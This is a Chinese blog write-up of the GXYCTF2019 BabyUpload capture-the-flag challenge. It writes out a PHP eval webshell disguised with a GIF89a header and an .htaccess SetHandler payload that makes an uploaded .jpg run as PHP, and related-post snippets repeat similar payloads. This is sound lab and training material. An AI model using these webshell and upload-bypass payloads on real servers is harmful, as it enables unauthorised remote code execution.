[GXYCTF2019]BabyUpload

最新推荐文章于 2024-03-03 12:02:10 发布
最新推荐文章于 2024-03-03 12:02:10 发布
阅读量504 收藏
点赞数
分类专栏： CTF # 任意文件上传 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_62905261/article/details/126751386
版权

[GXYCTF2019]BabyUpload

上传一句话木马(GIF89a<script language='php'>eval($_POST['cmd']);</script>)的php文件

改后缀名为jpg文件，再次上传

就可以上传了，并显示了路径，尝试蚁剑连接

果不其然的失败了，bp抓包上传一下.htaccess（<FilesMatch "1.jpg">SetHandler application/x-httpd-php</FilesMatch>）

 

上传成功并有回显，继续上传.htaccess内容中对应的1.jpg文件

 

上传成功，并回显了路径，蚁剑连接

成功连接，进入后发现我们上传的.htaccess和1.jpg

根目录下发现flag

跟[MRCTF2020]你传你🐎呢（[MRCTF2020]你传你呢_一夜至秋.的博客-CSDN博客）是一个类型的题

一夜至秋.
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
[GXYCTF2019]BabyUpload - 文件上传+绕过(后缀&文件类型&文件内容&.htaccess)
oZuoShen123的博客
10-11 602
1、上传一句话，提示“后缀不允许ph” 2、修改后缀为jpg，提示“上传类型也太露骨了吧！” 3、修改类型为image/jpeg，提示“诶，别蒙我啊，这标志明显还是php啊” 4、修改一句话的标识为： @eval($_POST["pwd"]); 5、上传.htaccess
[GXYCTF2019]BabyUpload1
2301_78136321的博客
12-06 148
3.一开始属实给我整懵了,先后上传了php,png,jpg都不可以,后来才反应过来应该是对文件的大小也有限制,对后缀也有限制。5.因为将php文件后缀改了,所以正常情况下不能解析,于是只能再上传一个.htaccess。7.访问成功后,再用连接工具去连一下(蚁剑,菜刀都可以),这里用的是蚁剑。6.再访问一下上传过去的木马,这里注意不要/var/www/html/1.打开题目后,首先出现的是文件上传。2.先上传个普通图片试一试。
[GXYCTF2019]BabyUpload1 -- 题目分析与详解
最新发布
2302_79800344的博客
03-03 1515
代码中并没有写传统的一句话木马，因为直接写一句话木马需要关闭系统防火墙。.htaccess 文件。
[GXYCTF2019]BabyUpload 1
shinygod的博客
02-28 321
目录
BUU实战笔记——[GXYCTF2019]BabyUpload 1
qq_51175992的博客
07-14 840
对于文件上传一般就是先找到可以上传的文件类型，然后看传上去的文件是否可以正常使用，若不行，再考虑配置文件的方法。
CTF-WEB[GXYCTF 2019]BabyUpload
02-08
CTF-WEB[GXYCTF 2019]BabyUpload
精美网页模版，橙色政府网站建设
05-09
模板介绍： 风格清晰大气，结构规整，内置工作流，信息签收、信息签发、互动交流等常用政府网站功能，相对其他模板，此模板增加了网站常用一些参数统计和投稿统计，主要功能全部采用自定义模型，可以任意扩展字段和...
C#做的超市管理系统。
11-17
《C#实现的超市管理系统详解》 在信息技术日益发达的今天，各类管理系统已经渗透到各行各业，其中超市管理系统作为零售业的重要组成部分，对于提升运营效率、优化库存管理具有重要作用。本系统采用C#编程语言和SQL ...
BUUCTF [GXYCTF2019]BabyUpload 1详解（.htaccess配置文件特性）
m0_73734159的博客
11-29 1542
概述来说，htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。通过源码可以看出这道文件上传题目主要还是考察.htaccess配置文件的特性。倘若不先上传.htaccess配置文件，那么后台服务器就无法解析php代码。先截断数据包再把上传的111.jpg文件更名为.htaccess文件。右键Repeater。
BUUCTF之[GXYCTF2019]BabyUpload-------文件解析漏洞
weixin_44632787的博客
06-19 1895
BUUCTF之[GXYCTF2019]BabyUpload-------文件解析漏洞（.htaccess） 早上遇到一个文件解析漏洞，下午又遇到一个。。。。好吧，看来文件解析漏洞在CTF中也是很重要的一个知识点！！！ 首先启动挑战项目 先正常的上传一句话木马： GIF89a? <script language="php">eval($_POST['zyh']);</script> 我经常用这样的一句话木马，为了防止php文件内容被过滤啥的… 所以，把传输的文件名改回1.pn
[GXYCTF2019]BabyUpload 1 文件上传
weixin_45577185的博客
07-22 1890
源码： <?php session_start(); echo "<meta http-equiv=\"Content-Type\" content=\"textml; charset=utf-8\" /> <title>Upload</title> <form action=\"\" method=\"post\" enctype=\"multipart/form-data\"> 上传文件<input type=\"file\" name=\"
[GXYCTF2019]BabyUpload(典型图片马基础绕过流程)
EC_Carrot的博客
11-05 2142
前言 文章所涉及的资料来自互联网整理和个人总结，意在于个人学习和经验汇总，如有什么地方侵权，请联系本人删除，谢谢！本文仅用于学习与交流，不得用于非法用途！ [GXYCTF2019]BabyUpload 这题坑了我一小会，我就在想这都能坑到我，真的是太年轻了(`-д-；)ゞ 试了一下gif，jpg用不了，png是可以的 上传php提示不能上传后缀名带ph的文件 再测试上传.htaccess文件 发现改type为image/jpeg能上传成功 到这里不难猜出是图片马getshell了 拿蚁剑连马拿fla
[HFCTF2020]BabyUpload
nigo134的博客
06-04 976
通过上传session文件伪造session。
[GXYCTF2019]BabyUpload 题解
偷一个月亮
09-01 3110
方法一： <FilesMatch"wen"> SetHandlerapplication/x-httpd-php </FilesMatch> 方法二： 首先上传随意后缀名木马 更改.htaccess文件 访问测试 虽然未解码，其实已经附着，可以使用一句话木马 三个获取文件内容得函数 ...
[GXYCTF2019]BabySQli 1
10-06
[GXYCTF2019]BabySQli1 是一个联合查询构建虚拟数据的例子。该例子中使用了base32和base64进行数据模糊化处理。在第二个引用中，通过联合查询构建了一个查询语句，将用户名设置为'1'并且选择了一个管理员账号和密码的哈希值。在第三个引用中，进行了一个简单的测试，通过联合查询将用户名设置为'zhangsan'并选择了一些假数据。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值